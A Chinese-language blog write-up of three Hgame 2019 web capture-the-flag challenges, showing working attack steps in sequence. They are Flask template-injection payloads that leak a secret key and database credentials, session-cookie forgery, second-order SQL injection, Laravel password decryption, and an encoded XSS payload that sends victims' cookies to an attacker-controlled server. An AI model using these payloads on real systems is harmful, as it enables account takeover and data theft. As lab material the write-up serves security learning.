sky's blog

2019 Hgame Web Week4 Writeup

字数统计: 1,260阅读时长: 6 min
2019/02/18 Share

happyPython

信息搜集

发现是flask,随手测试一下

1
http://118.25.18.223:3001/{{1+1}}


发现可能存在SSTI,打了几发payload,发现都是500,想到测试一下过滤

1
http://118.25.18.223:3001/%7B%7B'aa'.upper()%7D%7D


发现将()替换成了空

SECRET_KEY`获取

那么执行命令应该变得非常困难,但是发现网站有登录,注册功能
随手解了一下session

猜测可能要伪造user_id=1
那么不能执行命令,我们可以进行信息读取,获得SECRET_KEY
探测了一下过滤,发现url_for还存在

1
http://118.25.18.223:3001/%7B%7Burl_for%7D%7D


进一步了解一下

1
url_for.__globals__


发现已经是<Flask 'app'>,继续深入一下,读config

1
url_for.__globals__['current_app'].config

得到回显

1
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '9RxdzNwq7!nOoK3*', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'CSRF_ENABLED': True, 'SQLALCHEMY_DATABASE_URI': 'mysql+pymysql://hgame:asdkjhiou12312451r2@127.0.0.1:3306/hgame', 'SQLALCHEMY_TRACK_MODIFICATIONS': True, 'WTF_CSRF_ENABLED': True, 'WTF_CSRF_CHECK_DEFAULT': True, 'WTF_CSRF_METHODS': {'PUT', 'DELETE', 'POST', 'PATCH'}, 'WTF_CSRF_FIELD_NAME': 'csrf_token', 'WTF_CSRF_HEADERS': ['X-CSRFToken', 'X-CSRF-Token'], 'WTF_CSRF_TIME_LIMIT': 3600, 'WTF_CSRF_SSL_STRICT': True, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False}>

发现

1
'SECRET_KEY': '9RxdzNwq7!nOoK3*'

session伪造

我们进行session伪造

1
{u'csrf_token': u'f02a02e70216e476480f9f2be9a07eb76b96f7a5', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}

这里直接改user_id不行,本以为有csrf_token,我们需得到下一次csrf_token再伪造

此时解密可以得到当前csrf_token

进行伪造

1
flask_session encode -s '9RxdzNwq7!nOoK3*' -t "{u'csrf_token': u'322ad6ee5c7fb9984464d472c7dadc35e4501756', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}"

但是发现仍然不行,这里尝试Python3,发现成功


得到flag:hgame{Qu_bu_la1_m1ng_z1_14}
(注:至于为什么python2不行,python3可以,可以去参考这篇文章https://www.anquanke.com/post/id/163975,之前HCTF已踩坑)

happyPHP

信息搜集

F12发现源代码有信息泄露

下载源码后直接搜索flag

发现需要变成id=1的用户才会得到flag

二次注入

同时发现高危操作

1
$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");

没有经过过滤,直接拼接name
容易想到二次注入,这里注册用户

1
1‘ or 'a'='a

得到结果

发现可以注入,思考需要注入的value
这里我直接认为注入id=1用户的密码是没有作用的(后来发现就是注密码= =),我们发现这里的密码已加密

1
2
3
4
5
$user = User::create([
'name' => $request->name,
'email' => $request->email,
'password' => encrypt($request->password),
]);

我们观察到数据库信息

1
2
3
4
5
6
7
8
public function up()
{
Schema::create('password_resets', function (Blueprint $table) {
$table->string('email')->index();
$table->string('token');
$table->timestamp('created_at')->nullable();
});
}

发现存在更改密码的table,那么我本以为这里还是和护网杯的一道题如出一辙,注入出id=1用户的token,更改其密码即可
随即尝试二次注入,寻找回显点(这里不按照给我们的table字段个数和顺序来,因为上次护网杯被坑过= =,还是自己尝试靠谱)
尝试

1
skysky' order by 1#

发现正常
尝试

1
skysky' order by 2#

发现500,于是确定只有1列(泄露果然不靠谱),构造

1
-1' union select 1#


那么注入password_resets表email和token字段即可

1
-1' union select (select email from password_resets)#

结果又500了,出题人给的信息真的一点不能信= =,那么干脆直接注一下users表看看
直接注密码尝试

1
-1' union select (select password from users limit 0,1)#

得到

1
eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==

解码得到

1
{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"}

password解密

到这我才发现前面的密码加密和护网杯那次不一样……容易非常多,也根本不存在password_reset,我说怎么路由里没看见改密码的= =
那么继续寻找解密方式

发现没有key,这里需要回滚git

得到

1
APP_KEY=base64:9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=

于是我们已经有

1
2
3
$key='9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='
$iv='rnVrqfCvfJgnvSTi9z7KLw=='
$c='EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods='

解密

1
2
3
4
5
6
7
8
9
10
import base64
from Crypto.Cipher import AES

def decrypt( enc ):
enc = base64.b64decode(enc)
iv = base64.b64decode('rnVrqfCvfJgnvSTi9z7KLw==')
cipher = AES.new(base64.b64decode('9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='), AES.MODE_CBC, iv )
return cipher.decrypt( enc )

print decrypt('EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=')

得到密码

1
9pqfPIer0Ir9UUfR

getflag

那么只差账号email了
我们再去注入

1
-1' union select (select email from users wh ere id=1)#


登录

1
2
admin@hgame.com
9pqfPIer0Ir9UUfR


得到flag

1
hgame{2ba146cf-b11c-4512-839f-e1fbf5e759c9}

HappyXss

这题比较简单,测试发现被过滤,则会被替换成Happy!

由于过滤较多,fuzz一下过滤,容易发现残留。这里选择用ascii码拼接的方式bypass:

1
<input onfocus=javascript:eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,50,53,48,48,48,47,63,115,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59)); autofocus>

(注:这里vps_ip我用127.0.0.1代替)

得到flag

1
hgame{Xss_1s_Re@llY_Haaaaaappy!!!}

1
文章首发于 http://www.4hou.com/web/16304.html
点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. happyPython
    1. 1.1. 信息搜集
    2. 1.2. SECRET_KEY`获取
    3. 1.3. session伪造
  2. 2. happyPHP
    1. 2.1. 信息搜集
    2. 2.2. 二次注入
    3. 2.3. password解密
    4. 2.4. getflag
  3. 3. HappyXss